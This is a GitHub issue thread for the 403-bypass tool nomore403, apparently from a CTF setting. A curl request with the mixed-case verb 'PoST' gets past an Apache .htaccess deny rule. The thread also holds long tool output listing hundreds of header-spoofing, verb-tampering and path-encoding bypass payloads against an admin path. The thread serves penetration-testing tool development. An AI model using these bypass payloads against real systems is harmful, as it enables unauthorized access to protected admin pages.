HTTP VeRbS and Case Sensitivity
77darkshark77 opened this issue · 4 comments
77darkshark77 commented
Hello,
Thanks for your Great Work!
Is it possible to add HTTP VERB TAMPERING Mehtods using Case Sensitivity Manipulation?
Like:
GeT, gEt, poST, PosT etc?
Use case:
------------------------CTF--------------------
cat /var/www/html/admin/.htaccess
<If "%{REQUEST_METHOD} == 'HEAD' || %{REQUEST_METHOD} == 'OPTIONS' || %{REQUEST_METHOD} == 'PATCH' || %{REQUEST_METHOD} == 'GET' || %{REQUEST_METHOD} == 'POST' || %{REQUEST_METHOD} == 'PUT' || %{REQUEST_METHOD} == 'DELETE' || %{REQUEST_METHOD} == 'TRACE'">
deny from all
</If>
#</Directory>
-------------------------------------------------
WooZooO@Priv:~$ curl -X POST http://172.16.67.124/admin/index.php -I
HTTP/1.1 403 Forbidden
Date: Tue, 19 Mar 2024 05:56:01 GMT
Server: Apache
Content-Length: 217
Content-Type: text/html; charset=iso-8859-1
WooZooO@Priv:~$ curl -X **PoST** http://172.16.67.124/admin/index.php -I
**HTTP/1.1 200 OK**
Date: Tue, 19 Mar 2024 05:56:05 GMT
Server: Apache
X-Powered-By: PHP/5.4.16
Content-Length: 96
Content-Type: text/html; charset=UTF-8
AFAIK current version of "nomore403" doesn't use this methods:
./nomore403 --random-agent -i "192.168.12.12" -v -u http://172.16.67.124/admin/ -r --random-agent -H "Hello: Cookie"
________ ________ ________ ________ ________ ________ ________ ________ ________
╱ ╱ ╲╱ ╲╱ ╱ ╲╱ ╲╱ ╲╱ ╲╱ ╱ ╲╱ ╲╱__ ╲
╱ ╱ ╱ ╱ ╱ ╱ ╱ ╱ ╱ __╱ ╱ ╱ ╱__ ╱
╱ ╱ ╱ ╱ ╱ _╱ __/____ ╱ ╱ ╱
╲__╱_____╱╲________╱╲__╱__╱__╱╲________╱╲____╱___╱╲________╱ ╱____╱╲________╱╲________╱
Target: http://172.16.67.124/admin/
Headers: {User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15}
Headers: {Hello Cookie}
Proxy: false
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15
Method: GET
Payloads folder: payloads
Custom bypass IP: 192.168.12.12
Follow Redirects: true
Rate Limit detection: false
Verbose: true
━━━━━━━━━━━━━ DEFAULT REQUEST ━━━━━━━━━━━━━
403 372 bytes http://172.16.67.124/admin/
━━━━━━━━━━━━━ VERB TAMPERING ━━━━━━━━━━━━━━
200 393 bytes TRACE
403 372 bytes COPY
400 392 bytes CONNECT
403 372 bytes VERSION-CONTROL
403 372 bytes OPTIONS
403 372 bytes PUT
403 372 bytes POUET
403 372 bytes TRACK
403 372 bytes POST
403 372 bytes MOVE
403 372 bytes PATCH
403 143 bytes HEAD
403 372 bytes LABEL
403 372 bytes GET
403 372 bytes UNCHECKOUT
403 372 bytes DELETE
403 372 bytes LOCK
403 372 bytes UPDATE
━━━━━━━━━━━━━ HEADERS ━━━━━━━━━━━━━━━━━━━━━
403 372 bytes Request-Uri: 192.168.12.12
403 372 bytes Referrer: 192.168.12.12
403 372 bytes X-Forwarded-Proto: 192.168.12.12
403 372 bytes Referer: 192.168.12.12
403 372 bytes X-Forwarded-Host: 192.168.12.12
403 372 bytes Redirect: 192.168.12.12
403 372 bytes X-Forwarded-For-Original: 192.168.12.12
403 372 bytes Proxy-Host: 192.168.12.12
403 372 bytes X-Referrer: 192.168.12.12
403 372 bytes Proxy: 192.168.12.12
403 372 bytes Proxy-Url: 192.168.12.12
403 372 bytes Real-Ip: 192.168.12.12
403 372 bytes X-Forwarded-For: 192.168.12.12
403 372 bytes X-Remote-Addr: 192.168.12.12
403 372 bytes X-Originating-IP: 192.168.12.12
403 372 bytes Http-Url: 192.168.12.12
403 372 bytes X-Forwarded-By: 192.168.12.12
403 372 bytes X-Proxy-Url: 192.168.12.12
403 372 bytes X-ProxyUser-Ip: 192.168.12.12
403 372 bytes X-Forwarded: 192.168.12.12
403 372 bytes Forwarded-For-Ip: 192.168.12.12
403 372 bytes Profile: 192.168.12.12
403 372 bytes Origin: 192.168.12.12
403 372 bytes X-Real-IP: 192.168.12.12
403 372 bytes Host: 192.168.12.12
403 372 bytes X-Original-URL: 192.168.12.12
403 372 bytes Forwarded-For: 192.168.12.12
403 372 bytes X-Forward-For: 192.168.12.12
403 372 bytes X-Original-Remote-Addr: 192.168.12.12
403 372 bytes X-Forward: 192.168.12.12
403 372 bytes X-HTTP-Host-Override: 192.168.12.12
403 372 bytes X-Host: 192.168.12.12
403 372 bytes X-HTTP-DestinationURL: 192.168.12.12
403 372 bytes X-Originally-Forwarded-For: 192.168.12.12
403 372 bytes X-Forwarded-Server: 192.168.12.12
403 372 bytes X-Forwarder-For: 192.168.12.12
403 372 bytes Uri: 192.168.12.12
403 372 bytes Forwarded: 192.168.12.12
403 372 bytes Client-IP: 192.168.12.12
403 372 bytes True-Client-IP: 192.168.12.12
403 372 bytes Destination: 192.168.12.12
403 372 bytes X-Arbitrary: 192.168.12.12
403 372 bytes CF-Connecting_IP: 192.168.12.12
403 372 bytes X-Custom-IP-Authorization: 192.168.12.12
403 372 bytes Access-Control-Allow-Origin: 192.168.12.12
403 372 bytes Base-Url: 192.168.12.12
403 372 bytes X-Client-IP: 192.168.12.12
403 372 bytes Url: 192.168.12.12
403 372 bytes CF-Connecting-IP: 192.168.12.12
403 372 bytes X-Remote-IP: 192.168.12.12
403 372 bytes X-Rewrite-URL: 192.168.12.12
403 372 bytes X-WAP-Profile: 192.168.12.12
403 372 bytes X-Real-Ip: 192.168.12.12
403 372 bytes X-HTTP-Method-Override POST
403 372 bytes X-True-IP: 192.168.12.12
403 372 bytes Referer /admin
403 372 bytes X-Rewrite-URL /admin
403 372 bytes X-Forwarded-Port 80
403 372 bytes X-Override-URL /admin
403 372 bytes X-Forwarded-Port 8443
403 372 bytes X-Forwarded-Port 8080
403 372 bytes X-Forwarded-Port 4443
403 372 bytes X-Forwarded-Port 443
403 372 bytes X-Original-URL /admin
403 372 bytes X-HTTP-Method-Override PUT
━━━━━━━━━━━━━ CUSTOM PATHS ━━━━━━━━━━━━━━━━
403 373 bytes http://172.16.67.124/admin/1
403 372 bytes http://172.16.67.124/admin//.
403 372 bytes http://172.16.67.124/admin/?
403 372 bytes http://172.16.67.124/admin/??
403 376 bytes http://172.16.67.124/admin/.svc
403 377 bytes http://172.16.67.124/admin/.wsdl
403 376 bytes http://172.16.67.124/admin/.svc?wsdl
403 372 bytes http://172.16.67.124/admin//
403 373 bytes http://172.16.67.124/admin/0
403 372 bytes http://172.16.67.124/admin///
403 375 bytes http://172.16.67.124/admin/..;
403 372 bytes http://172.16.67.124/admin/./
403 376 bytes http://172.16.67.124/admin/..\;
403 372 bytes http://172.16.67.124/admin//
403 376 bytes http://172.16.67.124/admin/.css
403 377 bytes http://172.16.67.124/admin/.html
403 373 bytes http://172.16.67.124/admin/%61
403 372 bytes http://172.16.67.124/admin/.
403 373 bytes http://172.16.67.124/admin/-
403 372 bytes http://172.16.67.124/admin/?debug=true
403 372 bytes http://172.16.67.124/admin/?
403 377 bytes http://172.16.67.124/admin/&
403 372 bytes http://172.16.67.124/admin/??
403 372 bytes http://172.16.67.124/admin/?WSDL
403 372 bytes http://172.16.67.124/admin/?debug=1
403 377 bytes http://172.16.67.124/admin/.json
403 372 bytes http://172.16.67.124/admin///
403 372 bytes http://172.16.67.124/admin/???
403 379 bytes http://172.16.67.124/admin/.random
403 376 bytes http://172.16.67.124/admin/\/\/
403 377 bytes http://172.16.67.124/admin/debug
403 376 bytes http://172.16.67.124/admin/.php
403 372 bytes http://172.16.67.124/admin/?testparam
403 373 bytes http://172.16.67.124/admin/~
403 372 bytes http://172.16.67.124/admin/?param
403 374 bytes http://172.16.67.124/admin/%20/
403 373 bytes http://172.16.67.124/admin/%20
403 373 bytes http://172.16.67.124/admin/%0D
403 373 bytes http://172.16.67.124/admin/%0A
404 368 bytes http://172.16.67.124/admin/%00
403 373 bytes http://172.16.67.124/admin/%09
403 372 bytes http://172.16.67.124/admin/#test
403 372 bytes http://172.16.67.124/admin/#
403 375 bytes http://172.16.67.124/admin/°/
403 376 bytes http://172.16.67.124/admin/..;/
403 372 bytes http://172.16.67.124/admin/#/./
403 372 bytes http://172.16.67.124/admin/#/
403 376 bytes http://172.16.67.124/admin//..;/
403 377 bytes http://172.16.67.124/admin/..\;/
403 373 bytes http://172.16.67.124/admin/~
403 372 bytes http://172.16.67.124/admin//./
403 373 bytes http://172.16.67.124/admin//*
403 377 bytes http://172.16.67.124/admin/false
403 376 bytes http://172.16.67.124/admin//..%3B/
404 376 bytes http://172.16.67.124/admin/;%2f..%2f..%2f
403 373 bytes http://172.16.67.124/admin/%3f
403 377 bytes http://172.16.67.124/admin/%26
403 373 bytes http://172.16.67.124/admin/%23
403 373 bytes http://172.16.67.124/admin/%25
403 376 bytes http://172.16.67.124/admin/null
403 376 bytes http://172.16.67.124/admin/true
403 372 bytes http://172.16.67.124/%2e/admin/
404 372 bytes http://172.16.67.124/%252f/admin/
404 369 bytes http://172.16.67.124/%20admin/
404 370 bytes http://172.16.67.124/%20/admin/
404 369 bytes http://172.16.67.124/%23admin/
404 374 bytes http://172.16.67.124/%252f%252fadmin/
404 370 bytes http://172.16.67.124/%23%3fadmin/
404 367 bytes http://172.16.67.124/%admin/
404 369 bytes http://172.16.67.124/%09admin/
404 371 bytes http://172.16.67.124/%09..admin/
404 370 bytes http://172.16.67.124/%09;admin/
404 369 bytes http://172.16.67.124/%2fadmin/
404 371 bytes http://172.16.67.124/%2f%20%23admin/
404 370 bytes http://172.16.67.124/%2f%23admin/
404 370 bytes http://172.16.67.124/%2f%2fadmin/
404 371 bytes http://172.16.67.124/%2f%3b%2fadmin/
200 3427 bytes http://172.16.67.124/#admin/
404 364 bytes http://172.16.67.124/..%00/admin/
404 372 bytes http://172.16.67.124/%3b%2f%2e.admin/
404 377 bytes http://172.16.67.124/%3b%2f%2e%2e%2f%2e%2e%2f%2fadmin/
404 372 bytes http://172.16.67.124/%3b%2f..admin/
404 373 bytes http://172.16.67.124/%26admin/
404 369 bytes http://172.16.67.124/%2eadmin/
200 3427 bytes http://172.16.67.124/#?admin/
404 370 bytes http://172.16.67.124/%09%3badmin/
404 370 bytes http://172.16.67.124/%2e%2eadmin/
404 371 bytes http://172.16.67.124/%2e%2e%2fadmin/
400 392 bytes http://172.16.67.124/%2e%2e/admin/
404 373 bytes http://172.16.67.124/&admin/
404 370 bytes http://172.16.67.124/..admin/
400 392 bytes http://172.16.67.124/.%2e/admin/
404 370 bytes http://172.16.67.124/%3f%23admin/
404 370 bytes http://172.16.67.124/%3f%3fadmin/
404 377 bytes http://172.16.67.124/%3b/%2e%2e/..%2f%2fadmin/
404 372 bytes http://172.16.67.124/%3b/%2e.admin/
404 372 bytes http://172.16.67.124/..%0d/admin/
404 369 bytes http://172.16.67.124/%3fadmin/
404 372 bytes http://172.16.67.124/%3b/..admin/
404 375 bytes http://172.16.67.124/%3b//%2f../admin/
404 370 bytes http://172.16.67.124/%3b%09admin/
404 369 bytes http://172.16.67.124/%3badmin/
404 370 bytes http://172.16.67.124/%2f/admin/
404 371 bytes http://172.16.67.124/..%09admin/
404 370 bytes http://172.16.67.124/%2f%3fadmin/
404 375 bytes http://172.16.67.124/%3b/%2f%2f../admin/
404 372 bytes http://172.16.67.124/%2f%3b%2f%2fadmin/
404 371 bytes http://172.16.67.124/%2f%3f/admin/
404 364 bytes http://172.16.67.124/..%00;/admin/
404 371 bytes http://172.16.67.124/..%3Badmin/
404 371 bytes http://172.16.67.124/..%2fadmin/
404 372 bytes http://172.16.67.124/%3b%2f%2e%2eadmin/
400 392 bytes http://172.16.67.124/../admin/
404 373 bytes http://172.16.67.124/..%0d;/admin/
403 372 bytes http://172.16.67.124/.//./admin/
404 364 bytes http://172.16.67.124/..%00/;admin/
400 392 bytes http://172.16.67.124/.././admin/
404 371 bytes http://172.16.67.124/.;/admin/
404 373 bytes http://172.16.67.124/..%ff/;admin/
404 372 bytes http://172.16.67.124/..%5c/admin/
404 371 bytes http://172.16.67.124/..%5cadmin/
404 373 bytes http://172.16.67.124/..;%ff/admin/
404 373 bytes http://172.16.67.124/..;%0d/admin/
404 365 bytes http://172.16.67.124/..;%00/admin/
404 371 bytes http://172.16.67.124/..%ffadmin/
404 372 bytes http://172.16.67.124/.\;/admin/
404 371 bytes http://172.16.67.124//%252fadmin/
404 370 bytes http://172.16.67.124//%2e%2eadmin/
404 372 bytes http://172.16.67.124//%252e/admin/
404 375 bytes http://172.16.67.124//%252e%253b/admin/
404 375 bytes http://172.16.67.124//%252e%252f/admin/
404 373 bytes http://172.16.67.124/..%0d/;admin/
404 373 bytes http://172.16.67.124/..;\;admin/
404 372 bytes http://172.16.67.124/..\;admin/
404 373 bytes http://172.16.67.124/..;\\admin/
404 372 bytes http://172.16.67.124/..\\admin/
403 372 bytes http://172.16.67.124/./admin/
404 369 bytes http://172.16.67.124/./.admin/
404 372 bytes http://172.16.67.124/..;/admin/
403 372 bytes http://172.16.67.124//admin/
404 371 bytes http://172.16.67.124/..;admin/
404 373 bytes http://172.16.67.124/.jsonadmin/
404 371 bytes http://172.16.67.124//%20%20/admin/
403 377 bytes http://172.16.67.124/.htmladmin/
404 363 bytes http://172.16.67.124//%20#admin/
404 378 bytes http://172.16.67.124//%252e%252e%253b/admin/
400 392 bytes http://172.16.67.124//%2e%2e/admin/
404 372 bytes http://172.16.67.124//%2e%2e%3b/admin/
404 371 bytes http://172.16.67.124//%2e%3b/admin/
404 378 bytes http://172.16.67.124//%252e%252e%252f/admin/
404 371 bytes http://172.16.67.124//%2e%3b//admin/
404 371 bytes http://172.16.67.124//%2e%2f/admin/
404 373 bytes http://172.16.67.124/..%ff;/admin/
404 369 bytes http://172.16.67.124//%2fadmin/
404 370 bytes http://172.16.67.124//%3b/admin/
403 372 bytes http://172.16.67.124//%2e//admin/
404 371 bytes http://172.16.67.124//..%2fadmin/
404 369 bytes http://172.16.67.124//*admin/
404 370 bytes http://172.16.67.124//*/admin/
403 372 bytes http://172.16.67.124//%2e/admin/
404 370 bytes http://172.16.67.124//%20%23admin/
404 369 bytes http://172.16.67.124//.admin/
400 392 bytes http://172.16.67.124//../admin/
404 370 bytes http://172.16.67.124//..admin/
403 372 bytes http://172.16.67.124//../../..//admin/
400 392 bytes http://172.16.67.124//../..//../admin/
400 392 bytes http://172.16.67.124//../..;/admin/
404 374 bytes http://172.16.67.124//..%2f..%2fadmin/
400 392 bytes http://172.16.67.124//../;/../admin/
400 392 bytes http://172.16.67.124//..//../admin/
400 392 bytes http://172.16.67.124//../.;/../admin/
403 372 bytes http://172.16.67.124//../..//admin/
400 392 bytes http://172.16.67.124//..//../../admin/
404 372 bytes http://172.16.67.124//..//..;/admin/
400 392 bytes http://172.16.67.124//.././../admin/
400 392 bytes http://172.16.67.124//../;/admin/
400 392 bytes http://172.16.67.124//../../admin/
404 377 bytes http://172.16.67.124//..%2f..%2f..%2fadmin/
400 392 bytes http://172.16.67.124//../../../admin/
403 372 bytes http://172.16.67.124//..//admin/
404 372 bytes http://172.16.67.124//..;%2fadmin/
400 392 bytes http://172.16.67.124///../../admin/
403 372 bytes http://172.16.67.124//..;/../admin/
403 372 bytes http://172.16.67.124///admin/
404 369 bytes http://172.16.67.124///.admin/
404 370 bytes http://172.16.67.124///..admin/
403 372 bytes http://172.16.67.124///./admin/
404 380 bytes http://172.16.67.124//..;%2f..;%2f..;%2fadmin/
404 370 bytes http://172.16.67.124////..admin/
404 371 bytes http://172.16.67.124//.;//admin/
404 372 bytes http://172.16.67.124//..;/admin/
400 392 bytes http://172.16.67.124////../admin/
404 372 bytes http://172.16.67.124//..;//../admin/
404 372 bytes http://172.16.67.124////..;//admin/
404 371 bytes http://172.16.67.124////..;admin/
404 376 bytes http://172.16.67.124//..;/..;/admin/
200 3427 bytes http://172.16.67.124///?anythingadmin/
403 372 bytes http://172.16.67.124////..//admin/
404 370 bytes http://172.16.67.124//;//admin/
404 370 bytes http://172.16.67.124//;xadmin/
404 371 bytes http://172.16.67.124///.;/admin/
404 370 bytes http://172.16.67.124//x//../admin/
404 374 bytes http://172.16.67.124//x/..;//admin/
404 373 bytes http://172.16.67.124/;%09..;admin/
404 372 bytes http://172.16.67.124/;%2f..admin/
404 377 bytes http://172.16.67.124/;%2f..%2f%2e%2e%2f%2fadmin/
404 372 bytes http://172.16.67.124/;%2f%2e%2eadmin/
404 377 bytes http://172.16.67.124/;%2f%2e%2e%2f%2e%2e%2f%2fadmin/
404 375 bytes http://172.16.67.124/;%2f%2f/../admin/
404 370 bytes http://172.16.67.124//x/../;/admin/
404 376 bytes http://172.16.67.124//..;%2f..;%2fadmin/
404 377 bytes http://172.16.67.124/;%2f..%2f/../admin/
404 377 bytes http://172.16.67.124/;%2f..//..%2fadmin/
404 377 bytes http://172.16.67.124/;%2f../%2f..%2fadmin/
403 372 bytes http://172.16.67.124//./admin/
404 376 bytes http://172.16.67.124/;%2f..//;/admin/
404 370 bytes http://172.16.67.124//x/;/../admin/
404 376 bytes http://172.16.67.124//x/;/..;/admin/
403 372 bytes http://172.16.67.124/////admin/
404 378 bytes http://172.16.67.124/;%2f../;/;/;admin/
404 375 bytes http://172.16.67.124/;%2f/%2f../admin/
404 370 bytes http://172.16.67.124///;/admin/
403 372 bytes http://172.16.67.124//.//admin/
404 378 bytes http://172.16.67.124//..;/;/..;/admin/
404 372 bytes http://172.16.67.124//..;//admin/
404 376 bytes http://172.16.67.124//..;//..;/admin/
404 372 bytes http://172.16.67.124////..;/admin/
404 370 bytes http://172.16.67.124//;/admin/
404 372 bytes http://172.16.67.124/;%09..admin/
403 372 bytes http://172.16.67.124//x/../admin/
404 371 bytes http://172.16.67.124//;x/admin/
404 374 bytes http://172.16.67.124//x//..;/admin/
404 374 bytes http://172.16.67.124//x/..;/admin/
404 377 bytes http://172.16.67.124/;%2f..%2f/..%2fadmin/
404 374 bytes http://172.16.67.124/;%2f..%2f/admin/
404 377 bytes http://172.16.67.124/;%2f..%2f..%2f%2fadmin/
403 372 bytes http://172.16.67.124//x/..//admin/
404 377 bytes http://172.16.67.124/;%2f..//;/;admin/
404 376 bytes http://172.16.67.124//x/..;/;/admin/
404 375 bytes http://172.16.67.124/;%2f..///admin/
404 377 bytes http://172.16.67.124/;%2f../%2f../admin/
404 377 bytes http://172.16.67.124/;%2f..//../admin/
404 376 bytes http://172.16.67.124/;%2f..;///admin/
404 376 bytes http://172.16.67.124/;%2f../;//admin/
404 377 bytes http://172.16.67.124/;%2f../;/;/admin/
404 376 bytes http://172.16.67.124/;%2f..///;admin/
404 375 bytes http://172.16.67.124/;%2f//..%2fadmin/
404 370 bytes http://172.16.67.124/;%09admin/
404 371 bytes http://172.16.67.124/;%09;admin/
404 377 bytes http://172.16.67.124/;%2f/;/..;/admin/
404 376 bytes http://172.16.67.124/;%2f/;/../admin/
404 377 bytes http://172.16.67.124/;%2f..;//;/admin/
404 377 bytes http://172.16.67.124/;%2f..;/;//admin/
404 376 bytes http://172.16.67.124/;%2f//..;/admin/
404 375 bytes http://172.16.67.124/;%2f//../admin/
404 381 bytes http://172.16.67.124//.randomstringadmin/
404 371 bytes http://172.16.67.124///..;admin/
404 372 bytes http://172.16.67.124/;/%2e%2eadmin/
404 378 bytes http://172.16.67.124/;%2f;/;/..;/admin/
404 371 bytes http://172.16.67.124//.;/admin/
404 374 bytes http://172.16.67.124//..;/;/admin/
404 376 bytes http://172.16.67.124/;%2f;//../admin/
404 374 bytes http://172.16.67.124/;/%2e%2e%2f%2fadmin/
404 374 bytes http://172.16.67.124/;/%2e%2e%2f/admin/
404 372 bytes http://172.16.67.124/;/%2e.admin/
404 369 bytes http://172.16.67.124/;admin/
404 372 bytes http://172.16.67.124/;/.%2eadmin/
404 375 bytes http://172.16.67.124/;/%2f%2f../admin/
404 375 bytes http://172.16.67.124/;/%2f/../admin/
404 375 bytes http://172.16.67.124/;/%2f/..%2fadmin/
403 372 bytes http://172.16.67.124/;/%2e%2e/admin/
200 3427 bytes http://172.16.67.124/???admin/
403 372 bytes http://172.16.67.124/;/../.;/../admin/
403 372 bytes http://172.16.67.124/;/..//admin/
200 3427 bytes http://172.16.67.124/??admin/
200 3427 bytes http://172.16.67.124/?admin/
400 392 bytes http://172.16.67.124/;/.././../admin/
400 392 bytes http://172.16.67.124/;/../../admin/
404 375 bytes http://172.16.67.124/;/../%2f/admin/
404 371 bytes http://172.16.67.124/;x;admin/
404 375 bytes http://172.16.67.124/;/..%2f//admin/
403 372 bytes http://172.16.67.124/;/../admin/
403 372 bytes http://172.16.67.124/;/../..//admin/
404 371 bytes http://172.16.67.124/;x/admin/
404 370 bytes http://172.16.67.124/;xadmin/
404 376 bytes http://172.16.67.124/;/..%2f..%2fadmin/
404 374 bytes http://172.16.67.124/;/..%2f/admin/
404 377 bytes http://172.16.67.124/;foo=bar/admin/
404 370 bytes http://172.16.67.124/;///../admin/
404 370 bytes http://172.16.67.124/;///..//admin/
404 372 bytes http://172.16.67.124/;///..admin/
404 372 bytes http://172.16.67.124/;//..admin/
403 372 bytes http://172.16.67.124/;//../../admin/
404 377 bytes http://172.16.67.124/;/.%2e/%2e%2e/%2fadmin/
404 373 bytes http://172.16.67.124/;/.;.admin/
404 373 bytes http://172.16.67.124/;/..;admin/
404 370 bytes http://172.16.67.124/;/../;/admin/
403 372 bytes http://172.16.67.124/;/../;/../admin/
404 373 bytes http://172.16.67.124/;/..%2fadmin/
403 372 bytes http://172.16.67.124/;/..///admin/
403 372 bytes http://172.16.67.124/;/..//../admin/
404 375 bytes http://172.16.67.124/;/..//%2fadmin/
403 372 bytes http://172.16.67.124/;/..//%2e%2e/admin/
404 377 bytes http://172.16.67.124/;/..%2f%2f../admin/
404 372 bytes http://172.16.67.124/;/..admin/
404 375 bytes http://172.16.67.124/;//%2f../admin/
404 374 bytes http://172.16.67.124/\..\.\admin/
━━━━━━━━━━━━━ HTTP VERSIONS ━━━━━━━━━━━━━━━
403 372 bytes HTTP/1.0
403 353 bytes HTTP/1.1
403 353 bytes HTTP/2
━━━━━━━━━━━━━ CASE SWITCHING ━━━━━━━━━━━━━━
2024/03/19 01:59:49 parse "http://172.16.67.124admi%6E/": invalid URL escape "%6E"
0 bytes http://172.16.67.124admi%6E/
2024/03/19 01:59:49 parse "http://172.16.67.124%61dmin/": invalid URL escape "%61"
0 bytes http://172.16.67.124%61dmin/
2024/03/19 01:59:49 parse "http://172.16.67.124a%64min/": invalid URL escape "%64"
0 bytes http://172.16.67.124a%64min/
2024/03/19 01:59:49 parse "http://172.16.67.124ad%6Din/": invalid URL escape "%6D"
0 bytes http://172.16.67.124ad%6Din/
2024/03/19 01:59:49 parse "http://172.16.67.124adm%69n/": invalid URL escape "%69"
0 bytes http://172.16.67.124adm%69n/
2024/03/19 01:59:49 Get "http://172.16.67.124admiN/": dial tcp: lookup 172.16.67.124admiN on 8.8.8.8:53: no such host
0 bytes http://172.16.67.124admiN/
2024/03/19 01:59:49 Get "http://172.16.67.124admIn/": dial tcp: lookup 172.16.67.124admIn on 8.8.8.8:53: no such host
0 bytes http://172.16.67.124admIn/
2024/03/19 01:59:49 Get "http://172.16.67.124aDmin/": dial tcp: lookup 172.16.67.124aDmin on 8.8.8.8:53: no such host
0 bytes http://172.16.67.124aDmin/
2024/03/19 01:59:49 Get "http://172.16.67.124Admin/": dial tcp: lookup 172.16.67.124Admin on 8.8.8.8:53: no such host
0 bytes http://172.16.67.124Admin/
2024/03/19 01:59:49 Get "http://172.16.67.124adMin/": dial tcp: lookup 172.16.67.124adMin on 8.8.8.8:53: no such host
0 bytes http://172.16.67.124adMin/
Thanks in advance!
devploit commented
It's a good use case that I didn't know about. I'm writing it down to add it to the tool as soon as I can.
77darkshark77 commented
It's a good use case that I didn't know about. I'm writing it down to add it to the tool as soon as I can.
10x a lot 👍
devploit commented
@77darkshark77 You have it included in the last version.
77darkshark77 commented
@77darkshark77 You have it included in the last version.
Respect bro! 👍